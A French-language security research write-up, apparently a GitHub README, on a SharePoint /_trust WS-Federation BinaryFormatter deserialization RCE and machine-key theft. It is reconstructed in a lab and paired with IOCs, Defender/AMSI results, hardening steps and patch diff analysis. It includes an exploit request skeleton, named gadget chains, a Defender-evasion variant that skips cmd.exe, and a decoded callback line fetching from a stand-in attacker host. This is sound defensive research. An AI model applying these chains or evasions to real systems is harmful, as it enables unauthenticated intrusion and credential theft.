
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust : PoC et notes de détectionArticle en direct (GitHub Pages) : https://sp-poc.wismansec.com/ (rendu HTML de ce document).
Concernés : SharePoint Server 2016, 2019 et Subscription Edition.
Reconstruction d'une intrusion sur SharePoint Server (Subscription Edition) dans un laboratoire isolé, réalisée pour (a) comprendre l'étendue complète des capacités de l'attaquant, (b) déterminer ce qu'un défenseur doit rechercher, y compris la persistance furtive, et (c) partager un PoC pour aider d'autres enquêteurs.
Recherche autorisée uniquement. Tout ce qui figure ici a été réalisé sur du matériel de laboratoire isolé et des comptes personnels, contre une version délibérément laissée sans correctif pour le test. Le problème sous-jacent est corrigé par l'éditeur ; appliquez les mises à jour actuelles. N'exécutez pas cela contre des systèmes dont vous n'êtes pas propriétaire et pour lesquels vous n'avez pas d'autorisation explicite de test. Les valeurs de clés machine, les noms d'hôtes/IP internes et les domaines de rappel sont expurgés dans le texte et les artefacts d'exemple. Les captures d'écran du SIEM ne sont pas modifiées et portent les vrais noms du laboratoire ; voir la note au §4.
/_trustPOST /_trust/default.aspx (connexion WS-Federation) contenant un SecurityContextToken malveillant déclenche une désérialisation BinaryFormatter dans le processus worker SharePoint (w3wp.exe), aboutissant à une exécution de code à distance sous l'identité du pool d'applications web./_trust le détecte et le bloque ; voir §5). Ces clés permettent à un attaquant de forger des jetons __VIEWSTATE/d'authentification qui survivent au correctif./_trust, le seul artefact présent dans toutes les variantes.SharePoint expose un point de terminaison d'authentification passive WS-Federation à /_trust/default.aspx. Une réponse de connexion falsifiée (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) intègre un SecurityContextToken dont l'élément <Cookie> est un flux BinaryFormatter compressé en DEFLATE et encodé en base64. Côté serveur, ce cookie est décompressé et désérialisé sans restriction de type, de sorte qu'une chaîne de gadgets (via ysoserial.net) exécute du code contrôlé par l'attaquant dans w3wp.exe.
Squelette de requête (non authentifiée) :
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
Scripts (assainis) dans scripts/ : un RCE hors bande paramétré et l'exfiltration de clés en deux étapes. La livraison des charges utiles utilise PowerShell -EncodedCommand afin que les charges utiles multi-instructions traversent les couches cmd.exe/transport sans altération (aucune rupture de citation ;/&&).
Ferme SharePoint SE unique (version épinglée avant correctif), identité du pool d'applications LAB\sp_pool, PowerShell 5.1, Microsoft Defender activé avec protection cloud. La télémétrie (Journal des événements Windows, journaux SharePoint, Defender for Endpoint) était envoyée à nano, un SIEM open-source léger ; l'hôte attaquant exécutait ysoserial.net ; un client interactsh fournissait l'écouteur hors bande. Les adresses et domaines sont expurgés dans le texte ; voir la note sur les captures d'écran au §4.
Chaque ligne correspond à une détonation réelle ; les artefacts ont été extraits du SIEM + de l'écouteur hors bande pour chaque exécution.
Les captures d'écran ne sont pas modifiées. Elles portent les vrais noms d'hôtes et NetBIOS du laboratoire, qui sont bruts et diffèrent des
SHAREPOINT01/LABassainis utilisés dans tout le texte. Mêmes exécutions, mêmes événements, rien de préparé. Équivalents sans risque pour le travail dansartifacts/.
Ces résultats correspondent à la configuration AMSI par défaut (mode équilibré, /_trust non scanné). Avec l'activation du scan AMSI du corps de requête pour /_trust (mode complet ou ciblé), chaque ligne est à la place bloquée au niveau de la requête : HTTP 400, Exploit:Script/SpCookieExec.A, avant l'exécution (voir §5).

Les quatre détonations documentées, de 15:01 à 15:18 UTC, chaque enfant de w3wp.exe s'exécutant sous l'identité du pool. Trois des quatre sont des powershell.exe créés directement. Seule l'exécution de 15:03:34 passe par cmd.exe, et seule celle-ci a été détectée. Si l'on élargit la fenêtre au-delà de celle-ci, les itérations de développement précédentes de la même matinée entrent dans le jeu de résultats, de sorte que l'affirmation se limite à ces quatre exécutions.

Invocation par défaut : w3wp.exe → cmd.exe → powershell.exe, avec conhost.exe à côté. C'est la forme sur laquelle s'appuie Behavior:Win32/WebshellLauncher.A.

Invocation -RawCmd, même primitive et même charge utile, avec l'étape cmd.exe supprimée. Defender n'a rien produit pour cette exécution. Une détection fondée sur w3wp → cmd la rate entièrement.

Chaque événement Defender dans la même fenêtre de 25 minutes qui contenait quatre détonations. Les trois appartiennent à l'unique exécution cmd.exe : deux malware_detected en Grave, puis malware_action_taken avec action Remove. La remédiation n'a pas battu le beacon, qui s'est terminé en premier.
Ligne de commande clé récupérée textuellement depuis Security 4688 (encodage ≠ évasion) :
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

La ligne de commande encodée telle qu'elle apparaît dans le SIEM. C'est du base64 d'UTF-16LE et rien de plus ; base64 -d | iconv -f utf-16le -t utf-8 récupère le rappel en une seule étape. L'encodage n'est pas de l'obfuscation.

Les deux captures ci-dessous couvrent la même fenêtre de 90 secondes pendant laquelle les clés machine de la ferme ont été volées.

Sans filtre, la fenêtre contient 20 événements. L'hôte est actif et envoie la télémétrie.

Filtrée sur les enfants de w3wp.exe, la même fenêtre est vide. Aucun processus, aucun événement Defender, aucun beacon. Les clés sont parties dans la réponse HTTP et le seul artefact côté hôte était la requête /_trust elle-même, que ce SIEM ne collectait pas. Corriger ne révoque pas les clés volées ; faites-les pivoter.
Divulgation -Diag capturée à l'écouteur hors bande (décodée URL) :
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
La seule signature présente dans toutes les variantes. Recherchez d'abord ceci :
POST /_trust/default.aspx avec un corps wa=wsignin1.0 et un wresult contenant RequestSecurityTokenResponse + SecurityContextToken/<Cookie>. Non authentifié, User-Agent souvent anormal. Référence du statut de réponse : le trafic légitime de connexion WS-Federation vers ce point de terminaison est majoritairement HTTP 302 ; l'exploit renvoie d'autres statuts (200, 500, une réinitialisation de connexion, ou 400 quand AMSI bloque). Là où le point de terminaison reçoit un volume réel de connexions, traitez une réponse non-302 à POST /_trust/default.aspx comme anormale. Le statut seul ne confirme pas le succès de l'exploit ; une exécution réussie a renvoyé à la fois 200 et une réinitialisation.À base de processus (variantes RCE uniquement) :
w3wp.exe créant directement cmd.exe ou powershell.exe. La variante -RawCmd supprime l'étape cmd.exe et contourne WebshellLauncher.A, donc ne vous appuyez pas uniquement sur w3wp→cmd.powershell.exe -EncodedCommand sous w3wp : décodez le blob directement depuis 4688 (il n'est pas obfusqué au repos).w3wp.exe → whoami.exe (reconnaissance), ou conhost.exe enfant.Deux constats qui influencent les décisions de réponse :
Behavior:Win32/WebshellLauncher.A et l'a corrigée, le beacon sortant a été observé se terminant avant la fin de la remédiation dans au moins une exécution. Traitez une telle détection comme un possible rappel réussi et examinez les journaux DNS, proxy et sortants pour la destination du rappel autour de l'heure de la détection.w3wp.exe et renvoie les clés dans la réponse HTTP, de sorte que la seule preuve côté hôte est la requête POST /_trust/default.aspx et sa réponse. Sa détection dépend de la configuration du scan AMSI du corps de requête.MITRE ATT&CK : T1190 (exploitation d'une application exposée publiquement) · T1059.001 (PowerShell) · T1552 (identifiants non sécurisés : clés machine) · T1550 (utilisation de matériel d'authentification forgé, après vol).
Les deux chaînes livrent leur charge utile dans le corps de la requête POST /_trust/default.aspx. Le fait que Microsoft Defender inspecte ou non cette charge utile est déterminé par la configuration du scan AMSI du corps de requête de SharePoint pour l'application web. Trois configurations ont été testées directement contre cette ferme (SharePoint Server Subscription Edition, Microsoft Defender) :
| Configuration du scan AMSI du corps de requête | Résultat |
|---|---|
Mode équilibré, /_trust/default.aspx absent de la liste des points de terminaison ciblés (défaut) | corps de requête non scanné ; les deux chaînes s'exécutent ; aucune détection Defender |
Dans la configuration par défaut, le corps de la requête n'est pas inspecté, de sorte que le RCE et la divulgation des clés machine aboutissent sans produire de détection AMSI. Dans les deux configurations de scan, la requête est rejetée avec HTTP 400 avant désérialisation, aucun processus worker n'est créé, et Defender enregistre :
| Champ | Valeur |
|---|
Parce que la requête est bloquée avant l'exécution de tout code, aucun processus enfant n'est créé et aucun événement de création de processus Security 4688 n'est produit pour l'une ou l'autre chaîne. La variante RCE qui crée directement powershell.exe (sans cmd.exe intermédiaire) est bloquée à l'identique.
Configuration (SharePoint Management Shell, par application web) :
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / mise à jour de la machineKey du web.config + IISReset) sur toute ferme potentiellement atteinte. Le correctif arrête le RCE mais ne révoque pas les clés déjà volées ; la rotation supprime la capacité de l'attaquant à forger FedAuth / SecurityContextToken / __VIEWSTATE pour la persistance.POST /_trust/default.aspx. La connexion WS-Federation légitime cible également ce point de terminaison avec wa=wsignin1.0, donc appuyez-vous sur la structure spécifique à l'exploit, pas seulement sur le point de terminaison : un wresult dont le jeton est un <SecurityContextToken> avec un <Cookie> en base64 (espace de noms http://schemas.microsoft.com/ws/2006/05/security ; la connexion légitime transporte à la place une assertion SAML signée), accompagné d'une réponse non-302 (200/500/400 ou une réinitialisation) et d'un User-Agent scripté/anormal. L'exfiltration de clés envoie deux POST de ce type en succession rapide. Si cela est présent, considérez les clés comme compromises.L'analyse statique du correctif de l'éditeur confirme le mécanisme et tranche la question de savoir si le RCE nécessite les clés machine volées : ce n'est pas le cas. Méthode : diff binaire de patch de Microsoft.SharePoint.IdentityModel.dll entre le CU de juin (KB5002873, 16.0.19725.20384) et le CU de juillet (KB5002882, 16.0.19725.20434) ; décompilé et comparé, en lecture seule.
Le chemin de lecture exploité est SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (une sous-classe de System.IdentityModel.Tokens.SessionSecurityTokenHandler). Le changement :
Interprétation. La chaîne de transformation d'avant correctif était uniquement en deflate, sans chiffrement et sans transformation MAC/signature liée à la clé machine. Le ReadToken de base applique les transformations et désérialise la valeur du cookie, donc un jeton forgé est décompressé et désérialisé sans portail de validation de clé machine ; le gadget se déclenche sans les ValidationKey/DecryptionKey (indépendant des clés). Le correctif supprime le puits (la transformation et ReadToken lèvent une exception) plutôt que d'ajouter une vérification de signature/déchiffrement, ce qui confirme qu'il n'y avait pas de portail de clé à corriger.
Conséquence. La divulgation des clés machine est un objectif de persistance distinct (forger FedAuth / SecurityContextToken / __VIEWSTATE), pas une condition préalable au RCE ; l'exfiltration de clés est elle-même un RCE sur le même chemin et s'exécute avant qu'une clé soit volée.
Un second durcissement, sans rapport, est livré dans le même CU de juillet : validation de la signature des jetons d'acteur JWT dans SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens false→true, nouveau VerifyActorTokenSignature), un chemin distinct de jeton d'acteur OAuth / serveur-à-serveur, pas le chemin de jeton de session WS-Federation couvert ici.
Application du correctif. Le correctif est le CU de juillet (KB5002882) : il remplace la transformation de cookie uniquement en deflate par une transformation qui lève une exception, supprimant ainsi le puits. Après l'installation, vérifiez qu'aucun paramètre de ferme ne le révoque ou ne le contourne. SessionCookieTransformProtectionEnabled défini sur false fait revenir le cookie de jeton de session à la vulnérable transformation deflate uniquement (rouvrant le RCE et l'exfiltration de clés), et le drapeau de débogage DisableActorTokenSignatureValidation rouvre le contournement distinct de signature de jeton d'acteur JWT durci dans la même mise à jour.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| Chaîne | Gadget | Effet | Canal de sortie |
|---|
| RCE hors bande | TypeConfuseDelegate → -EncodedCommand PowerShell | exécution de code sous l'identité du pool | hors bande (beacon HTTP/DNS) |
| Divulgation de clés machine | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (compile KeyDump.cs en mémoire) | exfiltre ValidationKey/DecryptionKey | en ligne dans la réponse HTTP |
| Invocation | Arborescence de processus (en tant que LAB\sp_pool, élevé) | Defender | Beacon hors bande | Artefacts principaux |
|---|
| RCE hors bande, par défaut | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 détection / 1117 suppression) | reçu (course) | arborescence 4688 ; Defender 1116/1117 ; /_trust POST |
RCE hors bande, -RawCmd | w3wp.exe → powershell.exe → conhost.exe (pas de cmd) | aucune | reçu (DNS+HTTP) | arborescence 4688 ; /_trust POST ; beacon |
RCE hors bande, -DropFile | w3wp.exe → powershell.exe | aucune | reçu | écriture de fichier dans …\TEMPLATE\LAYOUTS\ (pas dans le journal d'audit d'accès aux objets) |
RCE hors bande, -Diag | w3wp.exe → powershell.exe → whoami.exe | aucune | reçu | exfiltration d'informations d'environnement : {host, whoami, PSver, LanguageMode} |
| Exfiltration de clés machine | (aucun, en mémoire) | aucune | (aucun) | uniquement le POST /_trust + réponse anormale contenant les clés |
Mode équilibré, /_trust/default.aspx ajouté comme point de terminaison ciblé | corps de requête scanné ; requête bloquée |
| Mode complet (tous les points de terminaison scannés) | corps de requête scanné ; requête bloquée |
| Menace | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| Sévérité / catégorie | Grave / Exploit |
| Source de détection | AMSI |
| Action | Quarantaine |
| Processus | C:\Windows\System32\inetsrv\w3wp.exe |
__VIEWSTATE forgés / authentifications anormales après la première date d'apparition./_trust (mode complet, ou ajoutez /_trust/default.aspx comme point de terminaison ciblé en mode équilibré ; voir §5). Cela bloque à la fois le RCE et l'exfiltration de clés au niveau de la requête, avant l'exécution.| Juin (vulnérable) | Juillet (corrigé) |
|---|
| Chaîne de transformation du cookie | s_Transforms = { new DeflateCookieTransform() } (deflate uniquement) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode lèvent une exception) |
Surcharges ReadToken | aucune (hérite du ReadToken de base) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) lèvent toutes NotSupportedException |